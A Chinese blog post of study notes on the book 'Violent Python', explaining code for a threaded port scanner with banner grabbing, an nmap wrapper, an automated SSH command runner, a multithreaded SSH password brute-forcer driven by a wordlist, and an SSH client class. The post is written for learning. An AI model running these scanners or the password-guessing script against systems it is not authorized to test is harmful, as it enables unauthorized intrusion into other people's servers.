《Python绝技》编程实战二

scanPort

  • 实现自动化扫描并测试目标主机的开放端口以及端口应用
  • 细节类似上一章中的getBanner

开源代码

0x03 scanPort

portScanner

  • 简单地实现扫描目标主机多个端口的效果。

main

parser = optparse.OptionParser('usage:%prog -H <targer Host> -P <port>') parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') parser.add_option('-P', dest='tgtPorts', type='string', help='specify target ports') (options, args) = parser.parse_args() if (options.tgtHost == None) or (options.tgtPorts == None): print(parser.usage) exit(0) tgtHost = options.tgtHost tgtPorts = options.tgtPorts.split(',') portScan(tgtHost, tgtPorts)
  • main()完成对目标主机的绑定。

portScan

try: tgtIP = gethostbyname(tgtHost) except: print('[-] Cannot resolve \'%s\' : Unknown host' %tgtHost) return try: tgtName = gethostbyaddr(tgtIP) print('\n[+] Scan results for : ' + tgtName[0]) except: print('\n[+] Scan results for : ' + tgtIP) setdefaulttimeout(1) for tgtPort in tgtPorts: thrd = Thread(target=connScan, args=(tgtHost, int(tgtPort))) thrd.start()
  • 若输入的目标主机为域名,则对其进行域名解析,得到目的主机IP地址。明确目标主机后,对指定的端口组分配线程进行处理。

  • gethostbyaddr()C语言的一个方法名,意思是返回对应于给定地址的主机信息。

  • gethostbyname()返回对应于给定主机名的包含主机名字和地址信息的hostent结构的指针。结构的声明与gethostbyaddr()中一致。

connScan

try: connsock = socket(AF_INET, SOCK_STREAM) connsock.connect((tgtHost, tgtPort)) connsock.send('Port Opening Test\r\n'.encode()) res = connsock.recv(1024) screenLock.acquire() print('[+] %d/tcp opened'%tgtPort) showBanner(res) except: screenLock.acquire() print('[-] %d/tcp closed'%tgtPort) finally: screenLock.release() connsock.close()
  • connScan()为线程调用的函数,负责一个端口的检查。
  • screenLock.acquire()为互斥信号量的加锁步骤。screenLock.release()为互斥信号量的释放步骤。这两个函数的目的是使得并行的线程对screenLock()进行互斥访问,保证屏幕打印有序。

showBanner

encoding = chardet.detect(res)['encoding'] if encoding: print('[+] '+str(res, encoding=encoding)) else: print('[+] '+str(res, encoding='utf-8')) return
  • 用于对返回的二进制串进行处理且得到输出。

  • ret = chardet.detect(变量)可以查看原有变量的编码类型。

nmapScanner

  • 借助NmapPython库对目标主机的端口组进行扫描,大体同portScanner

nmapScan

scanner = nmap.PortScanner() scanner.scan(tgtHost, tgtPort) state = scanner[tgtHost]['tcp'][int(tgtPort)]['state'] print('[*] '+tgtHost+' tcp/'+tgtPort+' '+state)
  • 调用nmap库得到端口扫描的类,使用类中用于扫描的方法即可对目的主机的单一端口进行扫描。

sshCrack

  • 实现自动化连接ssh并且执行命令。

有点鸡肋,因为没有密码也过不了,没有攻击性。

开源代码

0x04 sshCrack

pexpect

  • 预测输出结果,对不同结果采取不同的应对方式。

main

if len(sys.argv) == 5: host = sys.argv[1] user = sys.argv[2] passwd = sys.argv[3] command = sys.argv[4] shell = connect(host, user, passwd) exec_command(shell, command) else: print('Usage:%prog <target host> <user> <password> <command>')
  • 从命令行获取参数,执行connect()之后得到shell,在shell中即可执行指定命令。

connect

conn = 'ssh '+user+'@'+host result = pexpect.spawn(conn) ssh_newkey = 'Are you sure you want to continue connecting' ssh_passwd = '[P|p]assword:' ret = result.expect([ssh_passwd, ssh_newkey, pexpect.TIMEOUT]) if ret == 1: result.sendline('yes') ret = result.expect([ssh_passwd, pexpect.TIMEOUT, ssh_newkey]) if ret == 2: print('[-] Error Connecting') return result.sendline(passwd) print('send passwd') result.expect(PROMPT)
  • 该函数用于ssh连接并返回一个连接好的shell或者报错退出。
  • pexpect.spawn()派生一个程序,它返回这个程序的操作句柄,以后可以通过操作这个句柄来对这个程序进行操作。
  • spawn()启动了一个程序并返回程序控制句柄后,就可以用expect()方法来等待指定的关键字了。
  • expect()使用正则表达式匹配,对于ssh登录后的自动输出可能造成错误匹配。并且对所需匹配的字符要明确,不然无法构造PROMPT
  • send()用来向程序发送指定的字符串,此处使用sendline()可以自动在发送的字符串末尾加上回车

exec_command

shell.sendline(cmd) shell.expect(PROMPT) print(shell.before)
  • 该函数用于对指定命令的执行,打印输出的结果。
  • before变量用于存储上一次输出的最后100个字节(buffer大小),可能导致输出打印不全。

pxssh

  • pxssh包含了pexpect并将里面的函数封装好了,可以直接用于和SSH交互。

开源代码

main

parser = optparse.OptionParser('usage %prog '+\ '-H <target host> -u <user> -F <password list>' ) parser.add_option('-H', dest='tgtHost', type='string',\ help='specify target host') parser.add_option('-F', dest='passwdFile', type='string',\ help='specify password file') parser.add_option('-u', dest='user', type='string',\ help='specify the user') (options, args) = parser.parse_args() host = options.tgtHost passwdFile = options.passwdFile user = options.user if host == None or passwdFile == None or user == None: print(parser.usage) exit(0) fn = open(passwdFile, 'r') for line in fn.readlines(): if Found: print ("[*] Exiting: Password Found") exit(0) if Fails > 5: print ("[!] Exiting: Too Many Socket Timeouts") exit(0) connection_lock.acquire() password = line.strip('\r').strip('\n') print ("[-] Testing: "+str(password)) t = Thread(target=connect, args=(host, user, password, True)) t.start()
  • 获得指定参数的值,确定目的主机的IP和用户以及破解用的本地密码集。
  • 使用枚举密码集的每一个密码,使用线程的方式处理。并使用信号量对同时访问的线程个数进行限制。

connect

global Found global Fails try: s = pxssh.pxssh() s.login(host, user, password) print ('[+] Password Found: ' + password) Found = True except Exception as e: if 'read_nonblocking' in str(e): Fails += 1 time.sleep(5) connect(host, user, password, False) elif 'synchronize with original prompt' in str(e): time.sleep(1) connect(host, user, password, False) finally: if release: connection_lock.release()
  • 尝试指定密码连接目的主机。
  • 若因连接过快失败(read_nonblocking)五次直接报错退出;若因命令提示符提取困难(synchronize with original prompt)则等待重连。
  • pxssh.pxssh()返回一个类型,使用该类型进行登录。
  • login()中封装好了pexpect的方法,可以直接调用连接目的主机。

sshNet

  • 使用类的方式对pxssh实现控制终端的过程进行了封装。

Client

class Client: def __init__(self, host, user, password): self.host = host self.user = user self.password = password self.session = self.connect() def connect(self): try: s = pxssh.pxssh() s.login(self.host, self.user, self.password) return s except Exception as e: print ('[-] Error Connecting') print (e) def send_command(self, cmd): self.session.sendline(cmd) self.session.prompt() return self.session.before

参考

gethostbyaddr

gethostbyname

bytes类型转str

Pexpect 模块使用说明


__EOF__

本文作者ch3uhx9
本文链接https://www.cnblogs.com/cheuhxg/p/15043098.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   CH3UHX9  阅读(90)  评论(0编辑  收藏  举报
编辑推荐:
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
阅读排行:
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
点击右上角即可分享
微信分享提示